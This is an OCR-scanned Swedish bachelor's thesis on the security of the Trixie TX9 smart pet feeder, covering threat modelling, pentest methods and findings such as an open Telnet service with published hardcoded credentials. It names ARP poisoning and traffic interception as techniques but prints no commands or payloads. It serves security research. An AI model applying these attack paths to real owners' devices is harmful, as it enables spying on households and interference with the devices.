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Sammanfattning

Sakernas internet (IoT) syftar till det nit av enheter som samlar och delar data 6ver
internet. De senaste dren har anvindandet av konsument-IoT 6kat explosionsartat
och atfoljts av en okad oro kring sikerheten i dessa enheter, dd manga system visat
sig ha bristande sikerhetsimplementeringar. Denna studie undersoker sikerheten i
en smart foderautomat for husdjur och redogor for ekonomiska orsaker till fore-
komsten av sarbarheter. Metoden bygger pa att hotmodellera foderautomaten med
STRIDE- och DREAD-modellerna f6ljt av en penetrationstestningsfas for nagra av
de allvarligaste hoten. Resultatet visar pa att foderautomaten Trixie TX9 har otill-
racklig kryptering av natverksnamn och l6senord till Wi-Fi, ar sarbar mot flodesat-
tacker och att analys av trafiken till/fran enheten kan avgora vilket tillstand den ar i.
Vidare har foderautomaten flera 6ppna natverkstjanster, dar bland annat en Telnet-
tjanst som kan nas genom svaga, hardkodade inloggningsuppgifter som finns publi-
cerade pa internet. Ekonomiska orsaker till forekomsten av sarbarheter ar framst
asymmetrisk information och motstridande incitament. Det ar idag svart for tillver-
kare att ta betalt for sdkerhet dd marknaden drivs av snabba lanseringar och utokade
funktioner till ett pressat pris.

Nyckelord
Etisk hackning, Sakernas internet, Penetrationstestning, Hotmodellering, STRIDE,
DREAD, Smart foderautomat, Sikerhet, Sarbarheter



Abstract

Internet of things (IoT) refers to the web of connected devices that collect and share
data through the internet. The use of consumer-IoT has increased dramatically in
recent years, accompanying an increasing concern about the security of these devices
as many systems have proven to have insufficient security measures. This study aims
to investigate the security level of a smart food dispenser for pets, and account for
the underlying economic reasons for the occurrences of vulnerabilities. The method
used in this study consists of conducting threat modeling of the food dispenser using
STRIDE as well as DREAD models. This is then followed by a penetration-testing
phase for some of the more serious threats. The results indicate that the food-dis-
penser Trixie TX9 has insufficient encryption of network names and passwords, is
susceptible to flooding-attacks, and analysis of the incoming/outgoing data traffic
from the device can deduct which state it is currently in. Furthermore, the food dis-
penser has several open network services, Telnet is one among them, which can be
accessed through weak, hardcoded credentials that are published on the internet.
The economic reasons for these security weaknesses are asymmetrical information
and misaligned economic incentives. Manufacturers struggle to charge consumers
for an increased level of security as the main market driving factors are swift and
regular product launches as well as an expansion of new features available at com-
petitively low prices.

Keywords
Ethical hacking, Internet of things, Penetration testing, Thread modeling, STRIDE,
DREAD, Smart food dispenser, Security, Vulnerabilities
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1 Inledning

Utvecklandet och anvindandet av sakernas internet (IoT) har okat exponentiellt de
senaste aren. Flera enheter dn jordens befolkning ar uppkopplade till internet och ar
2025 beridknas antalet IoT-uppkopplingar uppga till 24,9 miljarder, jamfort med ar
2019:s 10,8 miljarder uppkopplingar. [1] Konsumentsegmentet representerar 63%
av alla IoT-uppkopplingar [2] och bestar av enheter for person- eller bostadsbruk,
som till exempel smarta TV-apparater, uppkopplade apparater och enheter for he-
mautomation.

IoT-sakerhet ar mer aktuellt nu dn nagonsin nar osiker IoT snarare ar regel 4n un-
dantag. Mer an hilften av alla IoT-enheter ar sarbara mot cyberattacker [3][4] och i
takt med att anvindandet 6kat har man ocksé sett en drastisk 0kning av cyberat-
tacker riktade mot IoT. [5] Vanligt forekommande sarbarheter som svaga losenord,
osdker dataoverforing och datalagring, bristande uppdateringsmekanismer och
osdkra natverkstjanster kan utnyttjas for extrahering av kiansliga data, spionage eller
for att Overbelasta enheten eller for att utnyttja i en attack mot en tredje part.

Husdjursindustrin ar ocksa en expanderande marknad som f6ljt med IoT-trenden
och fokuserar allt mer pa uppkopplade tekniska l6sningar s som Overvakningska-
meror, GPS-trackers, aktivitetshalsband, smarta kattlddor och medicinsk utrust-
ning. En relativt ny produkttyp ar en fjarrstyrd automatisk foder- eller godisautomat
med interagerad kamera och mikrofon. Husdjursiagaren kan kontrollera foderutgiv-
ning, overvaka och interagera med husdjuret niar som helst pa dygnet, vart som helst
ifran i varlden.

Att overvaka sitt husdjur kan anses harmlost, men smarta husdjurstillbehor, liksom
generellt for IoT, innebar inte bara mojligheter och 16sningar utan medfor dven po-
tentiella risker. Denna studie undersoker en smart foderautomat for husdjur fran ett
siakerhetsperspektiv och analyserar bakomliggande ekonomiska orsaker till siker-
heten i den.

1.1 Malsattning

Malet med studien ar att undersoka sikerheten i Trixie TX9 Smart Foderautomat
som styrs via mobilapplikationen Tuya Smart. Sdkerheten utvirderas genom att en-
heten forst kartlaggs, hotmodelleras och sedan penetrationstestas. Resultatet analy-
seras och vid brist eller forekomst av sarbarheter ska de ekonomiska orsakerna till
detta analyseras. Syftet ar saledes inte att hitta sarbarheter utan att faststilla om de-
lar av systemet ar sikert eller ej, givet avgransningarna i sektion 1.2.
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1.2 Avgransningar
Examensarbetets avgransningar ar foljande:

1.3

Inga studier eller tester utfors pa foderautomatens hardvara dé studenten
saknar kunskap inom omradet och hardvaran riskerar att skadas vid demon-
tering.

Endast ett urval av mojliga attacker kommer studeras narmre pa grund av
studiens tidsbegransning.

Inga servrar kommer att hackas med hanvisning till Brottsbalken 4 kap. oc §.
Fokus ligger pa att studera kommunikationen mellan foderautomaten Trixie
TX9, mobilapplikationen Tuya Smart och Tuyas servrar.

Rapportens disposition

Kapitel 2 Teori och bakgrund tar upp tekniska teorier och bakgrund re-
levanta for Amnesomradet.

Kapitel 3 Metod beskriver vald hotmodelleringsmetod och penetrations-
testningsmetod.

Kapitel 4 Trixie TX9 Smart foderautomat beskriver systemet under
testning.

Kapitel 5 Relaterade studier tar upp tidigare studier, fynd och hiandelser
relaterade till systemet.

Kapitel 6 Hotmodellering beskriver hotmodelleringen av systemet.
Kapitel 7 Penetrationstestning beskriver de utférda penetrationstes-
terna.

Kapitel 8 Hallbarhet och etik behandlar studien ur ett etiskt, ekonomiskt,
socialt och miljomassigt perspektiv.

Kapitel 9 Ekonomiska orsaker till osiker IoT redogor for vilka ekono-
miska orsaker som ligger bakom férekomsten av sarbar IoT.

Kapitel 10 Resultat redovisar resultaten av penetrationstesterna.

Kapitel 11 Diskussion omfattar en diskussion kring metoderna och resul-
tatet.

Kapitel 12 Slutsatser besvarar hur siker foderautomaten Trixie TX9 ar.
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2 Teori och bakgrund

Det hir kapitlet ger en teknisk bakgrund och tar upp relevant teori for foderautoma-
ten.

21 Terminologi

211 loT
Sakernas internet (eng. Internet of Things, IoT) myntades av Kevin Ashton 1999 [6]

och syftar till det natverk av uppkopplade enheter som samlar och delar data med
andra enheter och system Over internet. "Smarta” enheter kan kopplas till andra en-
heter och styras pa distans, ofta genom en mobil- eller webbapplikation.

Det finns 5 olika typer av IoT-applikationer [7]:

e Konsument-IoT — applikationer for personligt bruk, inkluderar uppkopplad
belysning, hushallsapparater och rostassistans. Smarta telefoner och person-
datorer raknas dock inte till IoT.

e Kommersiell-IoT — applikationer for sjukvard, transport och byggnader.

e Industri-IoT — applikationer for bland annat tillverkning och jordbruk.

e Infrastruktur-IoT - applikationer for monitorering och kontroll av stads- och
landsbygdsinfrastrukturer.

e Militar-IoT — applikationer for det militdra, sdsom robotar for 6vervakning,
rekognosering eller stridsrelaterade mal.

Konsument-IoT har blivit en allt mer naturlig del i vara liv men har ocksa skapat
rubriker och oro da det visat sig att manga av dessa system har stora sdkerhetsbris-
ter. Ett satt att studera sdakerheten i ett system ar genom etisk hackning.

2.1.2 Etisk hackning
En etisk hackare, ocksa kallad en "white hat hacker”, ar en person som anlitats och

givits tillatelse av ett foretag att utvardera sikerheten i foretagets system genom pe-
netrationstestning. Syftet ar att identifiera och atgarda sarbarheter innan illvilliga
hackare kan utnyttjar dem. Manga foretag uppmuntrar till hackning av deras system
och erbjuder si kallade "bug bounty programs” dir individer kompenseras om de
rapporterar in funna fel eller sarbarheter.

Motsatsen till en etisk hackare ar en “black hat hacker” som hackar ett system utan
tillatelse, ofta med personliga eller finansiella motiv. En ”grey hat hacker” ar ett mel-
lanting av en "white hat hacker” och en "black hat hacker”. De letar sarbarheter i ett
system utan tillatelse men utan avsikt att utnyttja dem. [8][9][10]
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2.1.3 Wi-Fi
Wi-Fi ar idag den vanligaste tradlosa teknologin och ar baserad pa standarderna

IEEE 802.11 uppforda av Wi-Fi Alliance 1998. Ar 2019 fanns 6ver 13 miljarder en-
heter i bruk som var uppkopplade via Wi-Fi. [11] Det finns ett flertal olika specifikat-
ioner av standarden, till exempel 802.11ah och 802.11ax sarskilt avsedda for IoT.
Manga kommersiella IoT-enheter anvander dock fortfarande 2,4 GHz-bandet for att
skicka och ta emot paket. For att ansluta till Wi-Fi kravs natverksnamnets SSID (eng.
Service Set Identifier) och 16senord.

214 ARP
Adress Resolution Protocol (ARP) ar ett kommunikationsprotokoll som anvands for

att koppla samman en IP-adress pa natverkslagret till en MAC-adress pa lanklagret.
Forsta gangen tva enheter vill kommunicera med varandra skickar den sindande
enheten ut ARP-forfragningar pa natverket som fragar vem som har en specifik IP-
adress, tillsammans med sin egen MAC-adress som avsiandare. Nar enheten med den
specifika IP-adressen tar emot forfragan skickar den tillbaka ett ARP-svar med sin
MAC-adress till avsiandaren. Dessa Oversiattningar mellan IP-adresser och MAC-
adresser sparas i sa kallade ARP-tabeller som anvinds for att hitta adressen till mot-
tagaren nasta gang ett paket ska skickas. [12]

2.1.5 Transportprotokoll
Transmission Control Protocol (TCP) ar ett forbindelseorienterat transportprotokoll

over IP som nastan all kommunikation 6ver internet anvander. TCP garanterar en
palitlig kommunikation mellan klient och server genom sina inbyggda mekanismer
for att hantera paketforlust, duplicerade och korrupta paket. For att skicka data over
TCP maste klienten och servern forst uppritta en forbindelse genom en 3-vags-
handskakning. Nar alla paket ar skickade/mottagna kan antingen klienten eller ser-
vern stanga ner forbindelsen. [13]

User Datagram Protocol (UDP) ar ett forbindelselost transportprotokoll 6ver IP.
UDP garanterar inte en palitlig kommunikation da det inte hanterar paketforluster
eller oordnade paket. [14] Detta gor UDP enklare och snabbare dn TCP och ar att
foredra i tillimpningar som stiller hogre krav pa hastighet och inte ar kansliga for
forlorade paket, som till exempel streaming, p2p-néatverk och datorspel.

2.1.6 ICMP
Internet Control Messaging Protocol (ICMP) ar ett protokoll som tillhér IP och an-

vands for felmeddelanden och diagnostik pa ett natverk. [15] ICMP anvands av ap-
plikationer som Ping och Traceroute.
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2.1.7 TLS
Transport Layer Security (TLS) ar ett kryptografiskt sikerhetsprotokoll som anvands

for att uppratta saker kommunikation mellan tva applikationer. [16] For att anvanda
TLS kravs att en webbsida eller applikation har ett TLS-certifikat installerat pa sin
server utfardat av en certifikatutfardare (CA). Detta certifikat innehéller bland annat
serverns publika nyckel som anvands for att validera serverns identitet. TLS-forbin-
delsen initieras genom ett sa kallad TLS-handslag som specificerar vilken TLS-vers-
ion och vilken svit av sdkerhetsalgoritmer som ska anvindas, autentiserar serverns
identitet och genererar sessionsnycklar. Nar handslaget ar klart och data har kryp-
terats och autentiserats sa signeras det med en Message Authentication Code (MAC)
for att bevara meddelandets integritet. [17]

TLS kan anviandas over andra protokoll som HTTP, IMAP, POP3, SMTP och VoIP.

2.1.8 NAT och STUN
Network Address Translation (NAT) ar en natadressoversattningsteknik som an-

vands av en router eller brandvagg for att koppla ihop en publik IP-adress till en
privat IP-adress och tvart om.

Simple Traversal of User Datagram Protocol through NAT (STUN) ar ett server-kli-
ent-protokoll som tillditer en enhet bakom en NAT att uppticka sin publika IP-
adress, vilket NAT den ar bakom och vilken port den ar associerad med. Tva klienter
som har upptéckt sin information kan uppratta en direkt UDP-forbindelse sinsemel-
lan (ocksé kallat peer-to-peer eller p2p). [18]

2.1.9 MQTT
Message Queuing Telemetry Transport (MQTT) ar ett klient-server-protokoll som

anvander en publicera/prenumerera-modell for att skicka meddelanden mellan en-
heter. Enheterna skickar meddelanden med dmnen som lagras hos servern (MQTT
broker) och tar bara emot meddelanden fran servern av de amnen de prenumererar
pa. MQTT ar ett simpelt protokoll med lag bandbredds- och stromforbrukning vilket
gor det fordelaktigt for IoT-enheter och maskin-till-maskin-kommunikation. [19]

2.1.10 Telnet
Telnet-protokollet anvands for att uppritta en textbaserad tvavagskommunikation

genom en terminal-orienterad forbindelse. [20] Telnet anviands framst for att logga
in pa datorer, men kan ocksa anviandas for kommunikation mellan terminaler eller
processer. Anslutningen mellan klient och server ar inte krypterad, till skillnad fran
Secure Shell Protocol (SSH). Tjansten lyssnar i regel pa port 23.
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2.1.11 Reverse Engineering
Reverse Engineering, demontering eller baklangeskonstruktion pa svenska, ar en

process i vilket en produkt eller enhet inspekteras och analyseras for fa fram detalje-
rad information om hur det ar uppbyggt och fungerar. [21]

2.1.12 Firmware
Firmware ar programkod installerat paA maskinvara som mgjliggor for enheten att

utfora olika uppgifter for att fungera. Firmware bestar av olika komponenter som
bland annat kiarna, bootloader, filsystem och programbibliotek. [22]

Firmware-bilden for en IoT-enhet kan i ménga fall laddas ned direkt pé tillverkarens
hemsida eller finnas tillganglig i olika forum. Andra sitt att erhélla firmware ar ge-
nom att extrahera den direkt fran hardvaran eller ladda ned den ”i luften” under en
firmware-uppdatering.

Ett filsystem innehéller alla nodvandiga filer som enheten behover for exekvering.
Det finns olika typer av filsystem som till exempel Squashfs, Cramfs, JFFS2 och ext2.
Vilken typ av filsystem en IoT-enhet har ar upp till tillverkaren. Vidare ar filsystem
ofta komprimerat och ibland dven krypterat. Med hjalp av olika program, till exem-
pel Binwalk (se sektion 7.1) k, kan filsystemet extraheras fran firmware-bilden och
analyseras efter krypterade data.

Nar man undersoker siakerheten i en IoT-enhet brukar man soka i filsystemet efter
kanslig information som hardkodade hemligheter, tjanster och killkod, antingen
manuellt eller genom automatiserade verktyg.

Filsystemet kan innehélla intressant mjukvara for enhetens funktioner, fran till ex-
empel tredjepartsdistributorer eller hjalpbibliotek, kompilerat i binéra filer. Dessa
filer kan analyseras genom demontering och dekompilering for att hitta sarbarheter
i systemet. Populdra program for analysering av binira filer ar objdump, IDA och
Ghidra (se sektion 7.1). Den bindra filen demonteras fran binar form till lasbar
assemblerkod som i sin tur kan dekompileras till andra programsprak. Pa sa satt kan
insikt ges i hur programmen och systemet fungerar.

2.1.13 BusyBox
BusyBox tillhandahéaller mindre/begransade versioner av manga Unix-verktyg i en

enda exekverbar fil. Det anviands framst i mindre, inbyggda eller IoT-system och ar
anpassat for miljoer med knappa resurser. [23]
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2.2 Vanliga attacker

2.2.1 Man in the middle
En Man in the middle (MITM)-attack avlyssnar kommunikationen mellan tva eller

flera system. En passiv MITM-attack innebar att angriparen fungerar som en proxy-
server som avlyssnar och extraherar information nar paket passerar genom angripa-
rens dator. Malet med attacken ar att komma 6ver personlig information som till
exempel inloggningsuppgifter eller kreditkortsnummer. En aktiv attack har istéllet
som mal att manipulera, addera eller ta bort paket som skickas mellan systemen.

[24]

2.2.2 Spoofing
Spoofing innebar att angriparen utger sig for att vara en annan person, foretag, enhet

eller applikation for att vinna den utsattes tillit att utféra handlingar som gynnar
angriparen, som till exempel att klicka pa lankar eller skicka 6ver kontouppgifter,
vilket ar vanligt vid email-spoofing. [25] En annan typ av spoofing dr ARP spoofing,
eller ARP poisoning, som ofta anvinds i MITM-attacker. Angriparen skickar falska
ARP-meddelanden 6ver natverket for att omdirigera trafiken till sig sjalv. [12]

2.2.3 Denial of Service
Malet med en Denial of Service (DoS)-attack ar att stora systemet sa att det slutar

fungera normalt. Tva vanliga metoder for att uppna DoS ar genom att overbelasta
systemet med manipulerade datapaket i overflodesattacker eller genom bufferéver-
skridningsattacker. [26] En DoS-attack karaktariseras av att en enda dator utfor at-
tacken medan en distribuerad denial of service (DDoS)-attack utfors av flera system.

2.2.4 Bufferéverskridning
Bufferoverskridning (eng. buffer overflow) uppstar nir en process skriver 6ver en

buffer med storre volym data dn vad som finns reserverat. Programmet skriver istal-
let 6ver narliggande datastrukturer vilket kan stora eller krascha systemet (DoS),
korrumpera data eller orsaka exekvering av skadlig kod. [27]

2.2.5 Fjarrkarning av kod
Fjarrkorning av kod (eng. remote code execution, RCE) innebar att kod eller kom-

mandon kan exekveras i ett system eller en process over ett lokalt niatverk eller in-
ternet. [28] Attacken sker genom automatiserade verktyg eller skript som utnyttjar
sarbarheter i systemets program for att utfora attacken.
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3 Metod

Det har kapitel redovisar for vilka metoder for penetrationstestning och hotmodel-
lering som studien anvint och beskriver vilka steg som foljts.

3.1 Penetrationstestning

Penetrationstestning innebar att simulera verkliga cyberattacker mot ett system for
att bedoma systemets sidkerhet. Det finns tre kategorier for vilka penetrationstester
genomfors vilka ar “black box”, "white box” och ”grey box” [29] och kan jamforas
med de tre typerna av hackare som beskrivs i sektion 2.1.

”Black box” innebar att hackaren inte har nagon tidigare kunskap om enheten, dess
firmware, kommunikationsprotokoll eller hardvara. Informationstillgdingen om sy-
stemet kan vara begriansat och testaren saknar kontakt med utvecklarna. Istillet
samlar testaren in information om systemet genom egna tester och val av verktyg.
Detta angreppssitt anviands normalt av hackare vars syfte ar att skada och infektera
system.

"White box” innebar att hackaren har full tillgang till kiallkod, natverksdiagram, ar-
kitekturdiagram, dataflodesdiagram och information om systemets olika tekniker.
En sddan testare ar ofta anstilld av ett foretag och har tillatelse att penetrationstesta
foretagets system.

”Grey box” ar ett mellanting av "black box” och "white box”, diar hackaren har be-
gransad kunskap om systemet men inte har som mal att utnyttja eventuellt funna
sarbarheter.

Studien utgick fran ett "grey box”-perspektiv da forfattaren saknade forkunskap om
systemet och utforde studien utan Trixies medgivande. Metoden bygger pa
Weidmans penetrationstestningsmetod [12] och bestod av foljande sex steg:

Kontraktering
Informationssamlande
Hotmodellering
Exploatering
Efter-exploatering
Rapportering

AR AN S

Steg 3—6 utfordes iterativt vartefter nya upptiackter om systemet uppkom.
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3.1.1 Kontraktering
Penetrationstestning sker ofta i uppdrag mot en klient. Det forsta steget ar da att fora

en dialog med klienten for att komma Gverens om penetrationstestningens omfatt-
ning, mal, testningsschema och andra @amnen som ar nodvandiga innan penetrat-
ionstestningen kan paborja. For forfattaren innebar detta steg att definiera rappor-
tens mal, omfattning, begransningar och tidsram.

3.1.2 Informationssamlande
Det andra steget ar informationssamlade av systemet. Informationssamlandet bor-

jade med att lasa foderautomatens manual och soka efter information om enheten
och tillhérande mobilapplikation pa internet. Darefter sattes en proxyserver upp
med mitmproxy (se sektion 7.1) och en ARP poisoning-attack utférdes med verktyget
Ettercap (se sektion 7.1) for att mojliggora overvakning av trafiken till och fran fo-
derautomaten och mobilapplikationen. Trafiken 6vervakades i analyseringsverkty-
get Wireshark (se sektion 7.1) for att ge forstaelse for hur och nar komponenterna
kommunicerar, genom vilka protokoll och teknologier. Foderautomaten scannades
ocksa efter Oppna portar och OS-detektering med hjilp av verktyget nmap (se sekt-
ion 7.1). Foderautomatens 6ppna portar finns listade i Tabell 5 i sektion 6.2.3.

3.1.3 Hotmodellering
Nista steg i processen att avgora huruvida siaker enheten ar mot cyberattacker ge-

nom hotmodellering med syftet att ta reda pa hur stor attackytan ar och identifiera
och Kklassificera potentiella hot.

Studien f6ljde en hotmodelleringsmetod baserad pa stegen presenterade av Guzman
et al. [29] och Microsoft [30].

Identifiera tillgaingarna
Skapa en arkitekturoversikt
Nedbrytning av IoT-enheten
Identifiera hot
Dokumentera hot

Gradera hot

SARCANE o

Systemets tillgangar som behovde skyddas identifierades och listades tillsammans
med en beskrivning som presenteras i Tabell 3 i sektion 6.1.

Darefter skapades en arkitekturoversikt for att visualisera var systemet kan attacke-
ras. Arkitekturoversikten delades upp i tre delar. I den forsta delen identifierades
systemets funktioner genom att beskriva nigra av systemets viktigaste anvandarfall,
beskrivna i sektion 6.2.1. I del tva skapades ett arkitekturdiagram Gver systemets
ekosystem med verktyget Microsoft Threat Modeling Tool - ett verktyg som anvands
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for att identifiera och visualisera potentiella hot. Figur 2 visar systemets komponen-
ter och hur dessa kommunicerar. I den tredje och sista delen dokumenterades syste-
mets kidnda teknologier som framkommit under informationssamlandet och explo-
ateringen, vilka listas i sektion 6.2.3.

I nésta steg i hotmodelleringen analyserades ekosystemets komponenter och data-
floden som hjalp for att identifiera inkorsportarna till systemet, f6ljt av identifiering
av mojliga hot. Som hjilp for att identifiera hot anviandes STRIDE-modellen och tva
listor fran The Open Web Application Security Project (OWASP).

STRIDE modellen utvecklades av Microsoft och dr en av de mest anvinda metoderna
for att forsta och klassificera hot mot datasiakerhet. STRIDE ar en akronym som an-
vands for att identifiera och analysera sikerhetshot utifrdn 6 olika kategorier dar
varje hot kranker en 6nskvird egenskap i ett system. [31]
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Tabell 1: STRIDE-modellen

Hot Beskrivning Krianker

S | Spoofing/ En angripare far atkomst till information | Autentisering
Forfalskning | eller ett system genom att utge sig for att
vara nagon annan.

T | Tampering/ | En angripare gor obehoriga modifieringar | Integritet
Manipule- av data, till exempel nar data skickas 6ver
ring natet.

R | Repudiation/ | Anvindaren nekar till en handling som | Icke-fornekande
Fornekande | den faktiskt utfort.

I | Information | En angripare kan komma at privata data | Konfidentialitet
disclosure/ | som inte 4r menat att exponeras, till exem-

Informat- pel da en angripare snappar upp data som
ionsavslo- skickas i klartext over natet.
jande

D | Denial of | En angripare gor systemet otillgangligt, till | Tillgadnglighet

Service/ exempel genom att konsumera systemets
Fornekade av | resurser.
tjanst

E | Elevation of | En anvindare med begransade rattigheter | Auktorisering

privilege/ lyckas fa hogre rittigheter till ett system
Hojning  av | eller applikation.
privilegium

OWASP arbetar med att forbattra sikerheten i mjukvaruapplikationer. Tva av deras
listor anvandes for att identifiera ytterligare risker som systemet kunde vara utsatt
for: "IoT Top 10 2018” [32] som listar de 10 framsta sakerna att undvika i utvecklan-
det av IoT-enheter och "Mobile Top 10 2016” [33] som listar de 10 framsta sidker-
hetsriskerna i mobilapplikationer.
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OWASP IoT Top 10

1.

Svaga, gissningsbara eller hardkodade l6senord
Enhetens 1osenord ar enkla att knicka, finns publicerade eller gar inte att
andra.

Osdkra ndatverkstjdnster
Enheten kor onodiga eller osdkra nitverkstjanster.

Osdkra grdanssnitt
Ekosystemet anviander osdkra API:er, web-, moln- och mobilgranssnitt.

Brist pa sdkra uppdateringsmekanismer

Enheten saknar mojlighet att uppdateras sakert vilket inkluderar brist pa
firmware-validering pa enheten, uppdatering 6ver okrypterad kanal, brist pa
anti-rollback mekanismer och avsaknad av notifikationer om sikerhetsand-
ringar vid uppdateringar.

. Anvdndning av osdkra eller omoderna komponenter

Enheten anvander utfasade eller osdkra mjukvarukomponenter, bibliotek, el-
ler hardvara som kan dventyra enheten.

Otillrackligt integritetsskydd
Enheten lagrar anvandardata osikert, felaktigt eller utan tillstand.

Osdker datatransfer och datalagring
Enheten saknar kryptering eller atkomstkontroll av kiansliga data, var som
helst inom ekosystemet.

. Bristande enhetshantering

Brist pa sidkerhetsstod pa enheter i produktion, inkluderande tillgdngs-, upp-
daterings-, avvecklings-, monitorerings- och svarshantering.

Osdkra standardinstdllningar
Enheten har osidkra standardinstillningar eller saknar maojlighet att gora sy-
stemet mer sikert.
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10. Brist pa fysisk sakerhet

Enheten saknar fysiska sdkerhetsatgarder som mojliggor for en angripare att
komma &t kanslig information som kan anviandas i framtida attacker.

OWASP Mobile Top 10

1.

Felaktig plattformanvdndning

Mobilapplikationen anviander plattformen felaktigt eller misslyckas att an-
vianda plattformens sdkerhetskontroller som exempelvis Android intents,
plattformstillstand, TouchID eller nyckelringar.

. Osdker datalagring

Mobilapplikationen lagrar kanslig information pa ett osdkert satt som enkelt
kan extraheras av en angripare med fysisk tillgang till telefonen eller utnyttjas
genom skadlig kod.

. Osdker kommunikation

Mobilapplikationen kommunicerar 6ver okrypterad kanal och riskerar att ex-
ponera data och sessions-ID vid avlyssning.

Osdker autentisering

Mobilapplikationen misslyckas autentisera anviandaren och tillater en angri-
pare att logga in, genom att angriparen har fejkat eller kringgatt saknade eller
osdkra autentiseringsprotokoll.

Otillracklig kryptografi
Mobilapplikationen anviander svaga krypterings-/dekrypteringsprocesser
som en angripare kan utnyttja for att dekryptera kansliga data.

Osdker auktorisering

Mobilapplikationen har svaga auktoriseringssystem som kan kringgas av en
angripare for att exekvera kod med hogre privilegium eller f4 dtkomst till
kanslig information.

Lag kodkvalitet

Mobilapplikationen har 1ag kodkvalitet och validerar inte input korrekt. En
angripare kan skicka anpassad input for att orsaka minnesliackage eller buf-
feréverfloden.



14 | METOD

8. Kodmanipulering
En angripare modifierar mobilapplikationen och lurar anvindaren att ladda
ner den skadliga versionen som anvinds for att till exempel dndra systemets
API:er, exekvera skadlig kod, stjdla data eller 6vervaka anviandaren.

9. Demontering
En angripare laddar ner mobilapplikationen, demonterar och analyserar ko-
den och soker efter hardkodade hemligheter.

10. Oudsentlig funktionalitet
En angripare laddar ner och analyserar mobilapplikationen efter gomd
och/eller glomd testkod och utnyttjar dessa funktioner for att utféra attacker
pa systemet.

De identifierade hoten sammanstilldes i en hotsparbarhetsmatris for att ge 6versikt
over hoten och tillhorande hotagent, angripen tillgang, attackyta, attackmal, paver-
kan och motatgiard. Hotsparbarhetsmatrisen finns i Bilaga 1. Utifran de identifierade
hoten skapades dven ett attackvektordiagram (se Figur 3) for att visualisera vart i
systemet attackerna riskerade att ta plats.

Hoten fran hotsparbarhetsmatrisen sammanstilldes och dokumenterades med en
hotbeskrivning, angripen tillgang, attackteknik, mojliga motatgarder och uppskattad
sannolikhet for en lyckad attack. Hoten finns dokumenterade i sektion 6.5.

Det sista steget i en hotmodellering ar att gradera de identifierade hoten utifran de
risker de medfér. DREAD-modellen anvindes for att gradera hoten, och har ett risk-
bedomningssystem fran 1—3 dar 1 ar lag risk, 2 dr medelrisk och 3 ar hog risk.
DREAD graderar hot utifran 5 kategorier beskrivet i Tabell 2.

Hoten tilldelades poang for varje kategori och summerades i en totalsumma. Enligt
Microsoft bedoms ett hot med en totalpoang pa 12—15 innebara hog risk, 8—11 inne-
bara mellanrisk och 5—7 innebara 1ag risk. [30]

Utifran totalpoang och sannolikheten for en lyckad attack beslutades vilka hot som
skulle penetrationstestas.
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Tabell 2: DREAD-modellen

Riskbed6mning Beskrivning

D | Damange/ Hur stor ar skadan om attacken lyckas?
Skadepotential

R | Reproducibility/ Hur latt ar det att reproducera attacken?
Reproducerbarhet

E | Exploitability/ Hur latt ar det att utfora attacken?
Utnyttjbarhet

A | Affected users/ | Hur manga anvandare paverkas av attacken?
Berorda anviandare

D | Discoverability/ Hur latt kan sarbarheten hittas?
Upptacktbarhet

3.1.4 Exploatering
I exploateringsfasen planerades och utférdes penetrationstester mot de valda sar-

barheterna. Detta borjade med informationssamladen om sarbarheten, attacktekni-
ker, verktyg, arbeten och fynd inom samma dmne. De utférda penetrationstesterna
presenteras i sektion 7.2.

3.1.5 Efter-exploatering
Penetrationstestet beskriven i sektion 7.2.6 resulterade i full dtkomst till systemet

via dess 6ppna Telnet-tjanst.

Systemet undersoktes och filsystemet laddas ner med hjélp av forinstallerade verk-
tyg pa enheten. Metoden for att undersoka filsystemet foljde stegen presenterade av
Guzman och Gupta. [29][22] Manuella och automatiserade sokmetoder, som till ex-
empel systemkommandot strings och skriptet Firmwalker (se sektion 7.1), anvan-
des for att analysera innehallet i filsystemet.

Binara filer av intresse demonterades och dekompilerades i Ghidra (se sektion 7.1).
Nyfunna sarbarheter adderades till hotsparbarhetsmatrisen, graderades och vissa
fall penetrationstestades.
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3.1.6 Rapportering
Alla upptéackter om systemet fran stegen beskrivna i detta metodavsnitt redogjordes

for i rapporten. Vartefter att en attack var utford sammanstilldes attacken med in-
troduktion, metod, resultat och diskussion.

Nar resultaten fran penetrationstesterna var sammanstillda undersoktes de ekono-
miska orsakerna till osdker IoT, vilka kopplades till forekomsten av sarbarheter
funna i Trixie TXo9.
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4 Trixie TX9 Smart foderautomat

Det hir kapitlet beskriver foderautomaten Trixie TX9, mobilapplikationen Tuya
Smart och tekniken Smart Config som foderautomaten anvander sig av for att koppla
upp sig pa Wi-Fi.

4.1 Trixie TX9

Trixie TX9 lanserades 2020 och valdes att penetrationstestat da det ar en relativt ny
produkt pa marknaden fran ett mycket kiant varumarke som har ett brett utbud av
husdjurstillbehor. Enheten valdes ocksa da inga funna publicerade tester kring den
fanns att tillga.

Trixie TX9 ar en smart foderautomat for hun-
dar och katter som siljs under varumarket
Trixie. Foderautomaten ar tillverkad av Shen-
zhen Petwant Pet Products, ett foretag som
specialiserar sig pa husdjursprodukter och
samarbetar med stora foretag som Trixie,

Tchibo och Europet. [34] Foderautomaten ™
styrs via mobilapplikationen Tuya Smart som
finns tillgdnglig for bade iOS och Android. .

Foderautomaten kan programmeras att ge upp _
till 8 méltider per dag med varierande mangd
foder per utfodring. Foderautomaten har en

inbyggd vidvinkelkamera med nattvision och

rorelsesensor och har tvavagsljud. Ingen lag-

ring sker pd enheten utan skéts av Tuyas moln- Figur 1: Trixie TX9 Smart Foderautomat
tjanst Tuya Cloud.

Pé baksidan av foderautomaten finns en USB-B mikro-port for inkoppling av en po-
werbank. Undertill finns en stromknapp, uttag for stromadapter och en aterstall-
ningsknapp.

Foderautomaten kommunicerar 6ver 2,4 GHz Wi-Fi och anviander en teknologi kal-
lad Smart Config for att ansluta till det.

I anvindarmanualen for Trixie TX9 far anvandaren foljande tips for anvandning av
IoT-enheter [35]:
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. Uppdatera programvaran pa din enhet nar sikerhetsuppdateringar blir tillging-
liga.

. Andra standardldsenorden och anvind en l6senordshanterare eller om si énskas
en tvafaktorsidentifiering.

. Aktivera brandvaggen pa din router.

. Skapa ett separat WLAN-nitverk for IoT-enheter. I det har fallet kors IoT-enhet-
erna i ett separat natverk som inte har ndgon anslutning till dina kénsliga data eller
enheter sa som din dator.

. Aktivera kryptering av kommunikationen pa dina IoT-enheter.

. Anslut bara dina IoT-enheter till internet nar fjarratkomst ar absolut nodvandig.

« Anviand VPN for en sdker anslutning till ditt hemnatverk nar du inte &r hemma.

« Om instillningen UPnP (Universal Plug and Play) ar aktiverad pa din router, bor
du inaktivera den for att hindra dina IoT-enheter fran att kommunicera okontrol-
lerat pa internet.

